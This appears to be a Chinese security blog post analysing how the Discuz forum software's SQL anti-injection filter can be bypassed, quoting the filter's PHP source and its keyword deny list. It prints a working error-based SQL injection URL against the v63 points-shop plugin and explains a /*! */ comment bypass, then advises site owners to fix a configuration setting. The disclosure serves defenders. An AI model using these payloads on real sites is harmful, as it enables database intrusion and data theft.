Discuz防注SQL注入漏洞分析

  近日安全宝安全专家检测到discuz SQL注入 0day攻击,即此前被披露的discuz v63积分商城插件注入漏洞,并分析其漏洞,期间发现discuz本身的防注入机制可以被绕过,且无限制。安全宝已经将漏洞已经在第一时间提交discuz,现在补上一份完整的报告。

Discuz介绍:

Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的 web 编程组合 PHP+MySQL 实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。

近日DIscuz v63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,链接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事实上文章中说的“/*”会被discuz拦截。并没有绕过,安全宝安全工程师检测到discuz SQL注入 0day攻击,即某互联网公司披露的discuz v63积分商城插件注入漏洞,并分析其漏洞,期间发现discuz本身的防注入机制可以被绕过,且无限制。

Discuz防注入分析如下:

先看防注入配置:

$_config['security']['querysafe']['status'] = 1; // 是否开启SQL安全检测,可自动预防SQL注入攻击

$_config['security']['querysafe']['dfunction'] = array
('load_file','hex','substring','if','ord','char');
$_config['security']['querysafe']['daction'] = array
('intooutfile','intodumpfile','unionselect','(select', 'unionall', 'uniondistinct');
$_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"');
$_config['security']['querysafe']['dlikehex'] = 1;
$_config['security']['querysafe']['afullnote'] = 0;

Discuz 执行SQL语句之前会调用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。

上面的if (self::$config['status']) {判断有木有开启防注入。最终会self::_do_query_safe($sql);

调用_do_query_safe() 函数。跟进该函数,在同文件的363行。

private static function _do_query_safe($sql) {

$sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);

$mark = $clean = '';

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') 
=== false) {

$clean = preg_replace("/'(.+?)'/s", '', $sql);

} else {

$len = strlen($sql);

$mark = $clean = '';

for ($i = 0; $i < $len; $i++) {

$str = $sql[$i];

switch ($str) {

case '\'':

if (!$mark) {

$mark = '\'';

$clean .= $str;

} elseif ($mark == '\'') {

$mark = '';

}

break;

case '/':

if (empty($mark) && $sql[$i + 1] == '*') {

$mark = '/*';

$clean .= $mark;

$i++;

} elseif ($mark == '/*' && $sql[$i - 1] == '*') {

$mark = '';

$clean .= '*';

}

break;

case '#':

if (empty($mark)) {

$mark = $str;

$clean .= $str;

}

break;

case "\n":

if ($mark == '#' || $mark == '--') {

$mark = '';

}

break;

case '-':

if (empty($mark) && substr($sql, $i, 3) == '-- ') {

$mark = '-- ';

$clean .= $mark;

}

break;

default:

break;

}

$clean .= $mark ? '' : $str;

}

}

$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));

if (self::$config['afullnote']) {

$clean = str_replace('/**/', '', $clean);

}

if (is_array(self::$config['dfunction'])) {

foreach (self::$config['dfunction'] as $fun) {

if (strpos($clean, $fun . '(') !== false)

return '-1';

}

}

if (is_array(self::$config['daction'])) {

foreach (self::$config['daction'] as $action) {

if (strpos($clean, $action) !== false)

return '-3';

}

}

if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {

return '-2';

}

if (is_array(self::$config['dnote'])) {

foreach (self::$config['dnote'] as $note) {

if (strpos($clean, $note) !== false)

return '-4';

}

}

return 1;

}

该防注入函数的关键绕过代码在

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') 
=== false) {

$clean = preg_replace("/'(.+?)'/s", '', $sql);

}

else

{

在discuz v63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。

所以会执行$clean = preg_replace("/'(.+?)'/s", '', $sql);

原来SQL语句中两个单引号中间的内容就会被替换为空。

并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。

所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性,

@`’` 是为空的,所以我们的攻击语句可以放到两个@`’`中间,即使GPC开启,单引号被转义为\’,而@`’`变成@`\’`对注入也是没有影响的,所以此绕过方法无限制。

即针对该注入漏洞的攻击EXP为:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110  or @`'` and 
(select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from 
information_schema.tables group by a)b) or @`'`

调试输出SQL语句

可以看到我们的注入语句被替换掉了,所以后门的检查字符的时候并没有发现注入语句。

最终成功利用:

 

==============================================================

[网站漏洞] Discuz 防护绕过分析

==============================================================


QQ截图20130320144758.jpg 

最终防注入检查函数在discuz_database_safecheck::checkquery(%s)中,如下
  1.         protected static $checkcmd = array('SELECT', 'UPDATE', 'INSERT', 'REPLACE', 'DELETE');
  2.         protected static $config;

  3.         public static function checkquery($sql) {
  4.                 
  5.                 if (self::$config === null) {
  6.                         self::$config = getglobal('config/security/querysafe');
  7.                 }

  8.                 if (self::$config['status']) {
  9.                         $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));
  10.                         if (in_array($cmd, self::$checkcmd)) {
  11.                                 $test = self::_do_query_safe($sql);
  12.                                 if ($test < 1) {

  13.                                         throw new DbException('It is not safe to do this query', 0, $sql);
  14.                                 }
  15.                         }
  16.                 }
  17.                 return true;
  18.         }
复制代码
%s中包含$checkcmd中关键字时就会调用_do_query_safe($sql)进行检查
  1.         private static function _do_query_safe($sql) {
  2.                 
  3.                 $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);
  4.                 $mark = $clean = '';
  5.                 if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) 
  6.                 //当$sql中包含/、#、--等字符时就会进入对应替换代码{
  7.                         $clean = preg_replace("/'(.+?)'/s", '', $sql);
  8.                 } else {
  9.                         $len = strlen($sql);
  10.                         $mark = $clean = '';
  11.                         for ($i = 0; $i < $len; $i++) {
  12.                                 $str = $sql[$i];
  13.                                 switch ($str) {
  14.                                         case '\''://防注入绕过出现在这里,当$sql中包含/*这样的字符串之后的内容会被替换为空,直到出现*/
  15.                                                 if (!$mark) {
  16.                                                         $mark = '\'';
  17.                                                         $clean .= $str;
  18.                                                 } elseif ($mark == '\'') {
  19.                                                         $mark = '';
  20.                                                 }
  21.                                                 break;
  22.                                         case '/':
  23.                                                 if (empty($mark) && $sql[$i + 1] == '*') {
  24.                                                         $mark = '/*';
  25.                                                         $clean .= $mark;
  26.                                                         $i++;
  27.                                                 } elseif ($mark == '/*' && $sql[$i - 1] == '*') {
  28.                                                         $mark = '';
  29.                                                         $clean .= '*';
  30.                                                 }
  31.                                                 break;
  32.                                         case '#':
  33.                                                 if (empty($mark)) {
  34.                                                         $mark = $str;
  35.                                                         $clean .= $str;
  36.                                                 }
  37.                                                 break;
  38.                                         case "\n":
  39.                                                 if ($mark == '#' || $mark == '--') {
  40.                                                         $mark = '';
  41.                                                 }
  42.                                                 break;
  43.                                         case '-':
  44.                                                 if (empty($mark) && substr($sql, $i, 3) == '-- ') {
  45.                                                         $mark = '-- ';
  46.                                                         $clean .= $mark;
  47.                                                 }
  48.                                                 break;

  49.                                         default:

  50.                                                 break;
  51.                                 }
  52.                                 $clean .= $mark ? '' : $str;
  53.                         }
  54.                 }
  55.                 //那么黑客提交/*xxx*/字符之间的xxx会被替换为空,或者#或者-- 时对应后面的内容替换为空保存到$clean变量中
  56.                 //被替换为空的$clean变量再做下面过滤

  57.                 $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));

  58.                 if (self::$config['afullnote']) {
  59.                         $clean = str_replace('/**/', '', $clean);//这里使得/**/完全被替换为空,从而绕过下面$note变量的过滤
  60.                 }
  61. .........
复制代码
这里黑客可以提交/*! Sql */,把sql放到注释符中间替换为空,mysql中的/*!可以判断mysql版本决定是否执行,从而绕过了disczu内置的防注入检查,也可以使用注释#xxx%0a sql绕过,不过由于#号没有被替换为空,最终会被dnote中的关键字拦截.

所以这里提醒广大站长检查config配置(\config\config_global.php)文件中的
  1. $_config['security']['querysafe']['afullnote'] = '0' //禁止 msyql 当中使用注释
复制代码
看这个afullnote的值是否是0,如果是1请改为0.
并非某些厂商说的那样只要是最新版本就没风险的说法。如下是一个最新版本的discuz环境,因为插件的sql注入原因结合配置项是$_config['security']['querysafe']['afullnote'] = '1'开启了mysql注释功能,导致一样受到sql注入攻击威胁。
fb812ee5a4319775e9555c00354f019b.png 
所以再提醒广大站长安全问题的重要性。
由低版本升级过来的,即使现在是最新版本,由于不会自动修改配置项,导致这种升级全部存在安全隐患。
这是官方给出的低版本升级说明,提醒用户需要手动修改的一下配置项。
http://www.discuz.net/thread-2168918-1-1.html?adtag=fromedm
附加上官方给出的安全配置说明
http://faq.comsenz.com/library/safe/security/security_config.htm

版权所有:《太阳花工作室》 => 《Discuz防注SQL注入漏洞分析
本文地址:http://bg.artuion.com/win_lin_mac/238.html
除非注明,文章均为 《太阳花工作室》 原创,欢迎转载!转载请注明本文地址,谢谢。